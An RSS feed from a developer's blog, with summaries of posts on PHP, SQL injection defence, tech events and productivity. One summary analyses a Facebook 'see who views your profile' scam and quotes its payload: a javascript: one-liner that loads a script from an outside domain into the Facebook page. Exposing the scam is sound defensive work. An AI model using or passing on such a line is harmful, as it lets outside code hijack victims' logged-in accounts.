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	<title>The Blog of a Developer</title>
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	<link>https://joaopedropereira.com/blog</link>
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		<title>Multiple Inheritance</title>
		<link>https://joaopedropereira.com/blog/2012/07/18/multiple-inheritance/</link>
					<comments>https://joaopedropereira.com/blog/2012/07/18/multiple-inheritance/#comments</comments>
		
		<dc:creator><![CDATA[João Pedro Pereira]]></dc:creator>
		<pubDate>Wed, 18 Jul 2012 14:28:14 +0000</pubDate>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[OOP]]></category>
		<category><![CDATA[poo]]></category>
		<guid isPermaLink="false">http://joaopedropereira.com/blog/?p=1076</guid>

					<description><![CDATA[<p>A very common problem PHP Developers find in Object Oriented Programming is the needs of Multiple Inheritance and PHP doesn’t support multiple inheritance, at least officially. Fortunately, there are ways of doing this, without having to duplicate code. Extension Manager [sourcecode language=&#8221;php&#8221;] /** * Multiple Inheritance * * Extension Manager * * @author Joao Pedro Pereira * @package&#8230; <a class="more-link" href="https://joaopedropereira.com/blog/2012/07/18/multiple-inheritance/">Continue reading <span class="screen-reader-text">Multiple Inheritance</span></a></p>
<p>The post <a href="https://joaopedropereira.com/blog/2012/07/18/multiple-inheritance/">Multiple Inheritance</a> first appeared on <a href="https://joaopedropereira.com/blog">The Blog of a Developer</a>.</p>]]></description>
		
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			<slash:comments>1</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1076</post-id>	</item>
		<item>
		<title>[updated] Connection Details – Information About Your Connection</title>
		<link>https://joaopedropereira.com/blog/2012/02/19/updated-connection-details-information-about-your-connection/</link>
					<comments>https://joaopedropereira.com/blog/2012/02/19/updated-connection-details-information-about-your-connection/#respond</comments>
		
		<dc:creator><![CDATA[João Pedro Pereira]]></dc:creator>
		<pubDate>Sun, 19 Feb 2012 19:30:51 +0000</pubDate>
				<category><![CDATA[Projectos]]></category>
		<category><![CDATA[Webdevelopment]]></category>
		<guid isPermaLink="false">http://joaopedropereira.com/blog/?p=1061</guid>

					<description><![CDATA[<p>The service http://connectiondetails.info was updated this week with new features and improved the ones existing. The feature to recognize the operative system and browser was updated to be more precise and complete, also the speed meter was updated ! The news are in the location feature that was added on this version and the integration with&#8230; <a class="more-link" href="https://joaopedropereira.com/blog/2012/02/19/updated-connection-details-information-about-your-connection/">Continue reading <span class="screen-reader-text">[updated] Connection Details &#8211; Information About Your Connection</span></a></p>
<p>The post <a href="https://joaopedropereira.com/blog/2012/02/19/updated-connection-details-information-about-your-connection/">[updated] Connection Details – Information About Your Connection</a> first appeared on <a href="https://joaopedropereira.com/blog">The Blog of a Developer</a>.</p>]]></description>
		
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			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1061</post-id>	</item>
		<item>
		<title>Prepared Statements contra SQL Injection</title>
		<link>https://joaopedropereira.com/blog/2011/07/27/prepared-statements-contra-sql-injection/</link>
					<comments>https://joaopedropereira.com/blog/2011/07/27/prepared-statements-contra-sql-injection/#comments</comments>
		
		<dc:creator><![CDATA[João Pedro Pereira]]></dc:creator>
		<pubDate>Wed, 27 Jul 2011 21:19:06 +0000</pubDate>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Segurança]]></category>
		<category><![CDATA[Webdevelopment]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[OOP]]></category>
		<category><![CDATA[prepared statements]]></category>
		<category><![CDATA[SQL Injection]]></category>
		<guid isPermaLink="false">http://joaopedropereira.com/blog/?p=1045</guid>

					<description><![CDATA[<p>É muito comum quando se estuda uma linguagem não se dar principal foco ao desenvolvimento em segurança, mas este, em ambientes de produção é um dos factores decisivos do sucesso de uma aplicação e da confiança por parte dos utilizadores. Neste artigo vai ser abordada uma forma de defesa relativa a possíveis ataques de SQL&#8230; <a class="more-link" href="https://joaopedropereira.com/blog/2011/07/27/prepared-statements-contra-sql-injection/">Continue reading <span class="screen-reader-text">Prepared Statements contra SQL Injection</span></a></p>
<p>The post <a href="https://joaopedropereira.com/blog/2011/07/27/prepared-statements-contra-sql-injection/">Prepared Statements contra SQL Injection</a> first appeared on <a href="https://joaopedropereira.com/blog">The Blog of a Developer</a>.</p>]]></description>
		
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			<slash:comments>2</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1045</post-id>	</item>
		<item>
		<title>Análise Facebook: See who views your profile</title>
		<link>https://joaopedropereira.com/blog/2011/04/23/analise-facebook-see-who-views-your-profile/</link>
					<comments>https://joaopedropereira.com/blog/2011/04/23/analise-facebook-see-who-views-your-profile/#comments</comments>
		
		<dc:creator><![CDATA[João Pedro Pereira]]></dc:creator>
		<pubDate>Sat, 23 Apr 2011 16:10:45 +0000</pubDate>
				<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[Segurança]]></category>
		<category><![CDATA[facebook]]></category>
		<guid isPermaLink="false">http://joaopedropereira.com/blog/?p=1038</guid>

					<description><![CDATA[<p>Para quem não reparou ainda há a circular uma praga no Facebook que utiliza o motivo de permitir ver quem visita o perfil ! Esta página incita o utilizador executar o seguinte código no browser tendo a página do facebook aberta. javascript:(a=(b=document).createElement('script')).src='//bbbindia4.in/jsp.php',b.body.appendChild(a);void(0) Este código simplesmente adiciona o código presente na página bbindia4.in/jsp.php à página do&#8230; <a class="more-link" href="https://joaopedropereira.com/blog/2011/04/23/analise-facebook-see-who-views-your-profile/">Continue reading <span class="screen-reader-text">Análise Facebook: See who views your profile</span></a></p>
<p>The post <a href="https://joaopedropereira.com/blog/2011/04/23/analise-facebook-see-who-views-your-profile/">Análise Facebook: See who views your profile</a> first appeared on <a href="https://joaopedropereira.com/blog">The Blog of a Developer</a>.</p>]]></description>
		
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			<slash:comments>3</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1038</post-id>	</item>
		<item>
		<title>Balanço de 2010 e Previsões para 2011</title>
		<link>https://joaopedropereira.com/blog/2010/12/24/balanco-de-2010-e-previsoes-para-2011/</link>
					<comments>https://joaopedropereira.com/blog/2010/12/24/balanco-de-2010-e-previsoes-para-2011/#respond</comments>
		
		<dc:creator><![CDATA[João Pedro Pereira]]></dc:creator>
		<pubDate>Fri, 24 Dec 2010 16:32:01 +0000</pubDate>
				<category><![CDATA[Infos]]></category>
		<guid isPermaLink="false">http://joaopedropereira.com/blog/?p=1030</guid>

					<description><![CDATA[<p>2010 foi um ano bastante produtivo e com muitas novidades e alterações na minha vida. Novas Responsabilidades e Trabalhos Em 2010 comecei a trabalhar no Centro de Eventos da Faculdade de Engenharia da Universidade do Porto (FEUP) como técnico audiovisual. Posição que me preenche mais o currículo e dá-me formação técnica e experiência de trabalho.&#8230; <a class="more-link" href="https://joaopedropereira.com/blog/2010/12/24/balanco-de-2010-e-previsoes-para-2011/">Continue reading <span class="screen-reader-text">Balanço de 2010 e Previsões para 2011</span></a></p>
<p>The post <a href="https://joaopedropereira.com/blog/2010/12/24/balanco-de-2010-e-previsoes-para-2011/">Balanço de 2010 e Previsões para 2011</a> first appeared on <a href="https://joaopedropereira.com/blog">The Blog of a Developer</a>.</p>]]></description>
		
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			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1030</post-id>	</item>
		<item>
		<title>SAPO Codebits 2010</title>
		<link>https://joaopedropereira.com/blog/2010/11/17/sapo-codebits-2010/</link>
					<comments>https://joaopedropereira.com/blog/2010/11/17/sapo-codebits-2010/#comments</comments>
		
		<dc:creator><![CDATA[João Pedro Pereira]]></dc:creator>
		<pubDate>Wed, 17 Nov 2010 21:39:50 +0000</pubDate>
				<category><![CDATA[Infos]]></category>
		<category><![CDATA[Tecnologia]]></category>
		<category><![CDATA[codebits]]></category>
		<guid isPermaLink="false">http://joaopedropereira.com/blog/?p=1014</guid>

					<description><![CDATA[<p>Mais uma edição do evento SAPO Codebits terminou, faz uma semana estava a preparar tudo para partir para Lisboa. Antes de mais queria agradecer à FEUP, nomeadamente ao Departamento de Engenharia Electrotécnica que me financiou a ida ao Codebits 2010. Esta foi a minha terceira participação neste evento mas foi de um certo modo muito&#8230; <a class="more-link" href="https://joaopedropereira.com/blog/2010/11/17/sapo-codebits-2010/">Continue reading <span class="screen-reader-text">SAPO Codebits 2010</span></a></p>
<p>The post <a href="https://joaopedropereira.com/blog/2010/11/17/sapo-codebits-2010/">SAPO Codebits 2010</a> first appeared on <a href="https://joaopedropereira.com/blog">The Blog of a Developer</a>.</p>]]></description>
		
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			<slash:comments>4</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1014</post-id>	</item>
		<item>
		<title>Pequenas mudanças no blog…</title>
		<link>https://joaopedropereira.com/blog/2010/10/23/pequenas-mudancas-no-blog/</link>
					<comments>https://joaopedropereira.com/blog/2010/10/23/pequenas-mudancas-no-blog/#respond</comments>
		
		<dc:creator><![CDATA[João Pedro Pereira]]></dc:creator>
		<pubDate>Sat, 23 Oct 2010 21:50:56 +0000</pubDate>
				<category><![CDATA[Uncategorized]]></category>
		<guid isPermaLink="false">http://joaopedropereira.com/blog/?p=1005</guid>

					<description><![CDATA[<p>Depois de alguma análise relativamente ao desempenho e crescimento do blog decidi que vou fazer algumas mudanças na forma como este blog funciona. Os artigos vão começar a aparecer em Inglês e / ou em Português Os artigos mais avançados / mais desenvolvidos terão também a opção pdf para download sob a forma de paper&#8217;s.&#8230; <a class="more-link" href="https://joaopedropereira.com/blog/2010/10/23/pequenas-mudancas-no-blog/">Continue reading <span class="screen-reader-text">Pequenas mudanças no blog&#8230;</span></a></p>
<p>The post <a href="https://joaopedropereira.com/blog/2010/10/23/pequenas-mudancas-no-blog/">Pequenas mudanças no blog…</a> first appeared on <a href="https://joaopedropereira.com/blog">The Blog of a Developer</a>.</p>]]></description>
		
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			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1005</post-id>	</item>
		<item>
		<title>Portugal GTUG HTML5 Hackaton</title>
		<link>https://joaopedropereira.com/blog/2010/09/28/portugal-gtug-html5-hackaton/</link>
					<comments>https://joaopedropereira.com/blog/2010/09/28/portugal-gtug-html5-hackaton/#respond</comments>
		
		<dc:creator><![CDATA[João Pedro Pereira]]></dc:creator>
		<pubDate>Tue, 28 Sep 2010 09:35:23 +0000</pubDate>
				<category><![CDATA[Webdevelopment]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[html5]]></category>
		<guid isPermaLink="false">http://joaopedropereira.com/blog/?p=945</guid>

					<description><![CDATA[<p>Sábado passado foi dia de Hackaton em HTML5 organizada pela malta da GTUG Portugal que trouxeram ao Maus Hábitos, Porto o Paul Kinlan ! A parte da manhã passou-se com uma excelente apresentação de potencialidades do HTML5 ! Canvas, Drag&#38;Drop, WebSockets, Server-Sent actions, API&#8217;s, etc., etc., etc. Foi uma cena brutal mesmo! Houve Coffee Break&#8217;s&#8230; <a class="more-link" href="https://joaopedropereira.com/blog/2010/09/28/portugal-gtug-html5-hackaton/">Continue reading <span class="screen-reader-text">Portugal GTUG HTML5 Hackaton</span></a></p>
<p>The post <a href="https://joaopedropereira.com/blog/2010/09/28/portugal-gtug-html5-hackaton/">Portugal GTUG HTML5 Hackaton</a> first appeared on <a href="https://joaopedropereira.com/blog">The Blog of a Developer</a>.</p>]]></description>
		
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			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">945</post-id>	</item>
		<item>
		<title>Produtividade nos Transportes</title>
		<link>https://joaopedropereira.com/blog/2010/09/20/produtividade-nos-transportes/</link>
					<comments>https://joaopedropereira.com/blog/2010/09/20/produtividade-nos-transportes/#comments</comments>
		
		<dc:creator><![CDATA[João Pedro Pereira]]></dc:creator>
		<pubDate>Mon, 20 Sep 2010 17:23:28 +0000</pubDate>
				<category><![CDATA[Inspiração]]></category>
		<category><![CDATA[Produtividade]]></category>
		<category><![CDATA[dinheiro]]></category>
		<category><![CDATA[podcast]]></category>
		<category><![CDATA[trabalho]]></category>
		<guid isPermaLink="false">http://joaopedropereira.com/blog/?p=938</guid>

					<description><![CDATA[<p>Para pessoas como eu que passam diariamente várias horas em viagem para ir para o trabalho, faculdade, etc. existem boas opções para transformar esses tempos &#8220;mortos&#8221; em cultura, em algo que seja produtivo para o nosso bem estar e para a nossa mente. Ler Pode aproveitar enquanto está nos transportes públicos, ou à espera deles,&#8230; <a class="more-link" href="https://joaopedropereira.com/blog/2010/09/20/produtividade-nos-transportes/">Continue reading <span class="screen-reader-text">Produtividade nos Transportes</span></a></p>
<p>The post <a href="https://joaopedropereira.com/blog/2010/09/20/produtividade-nos-transportes/">Produtividade nos Transportes</a> first appeared on <a href="https://joaopedropereira.com/blog">The Blog of a Developer</a>.</p>]]></description>
		
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			<slash:comments>3</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">938</post-id>	</item>
		<item>
		<title>URL Rewriting contra ataques ?(!)</title>
		<link>https://joaopedropereira.com/blog/2010/08/27/url-rewriting-contra-ataques/</link>
					<comments>https://joaopedropereira.com/blog/2010/08/27/url-rewriting-contra-ataques/#comments</comments>
		
		<dc:creator><![CDATA[João Pedro Pereira]]></dc:creator>
		<pubDate>Fri, 27 Aug 2010 10:39:54 +0000</pubDate>
				<category><![CDATA[Optimização]]></category>
		<category><![CDATA[Segurança]]></category>
		<category><![CDATA[SEO]]></category>
		<category><![CDATA[Webdevelopment]]></category>
		<category><![CDATA[htaccess]]></category>
		<category><![CDATA[SQL Injection]]></category>
		<guid isPermaLink="false">http://joaopedropereira.com/blog/?p=926</guid>

					<description><![CDATA[<p>O URL Rewriting ganhou muitos adeptos quando surgiu a moda das SEO (Search Engine Optimization) e das USO (User Scan Optimization) de forma a tornar as ligações de mais fácil leitura e percepção do seu conteúdo quer para os Motores de Pesquisa quer para o scan que o nosso cérebro faz quando olha para uma&#8230; <a class="more-link" href="https://joaopedropereira.com/blog/2010/08/27/url-rewriting-contra-ataques/">Continue reading <span class="screen-reader-text">URL Rewriting contra ataques ?(!)</span></a></p>
<p>The post <a href="https://joaopedropereira.com/blog/2010/08/27/url-rewriting-contra-ataques/">URL Rewriting contra ataques ?(!)</a> first appeared on <a href="https://joaopedropereira.com/blog">The Blog of a Developer</a>.</p>]]></description>
		
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			<slash:comments>1</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">926</post-id>	</item>
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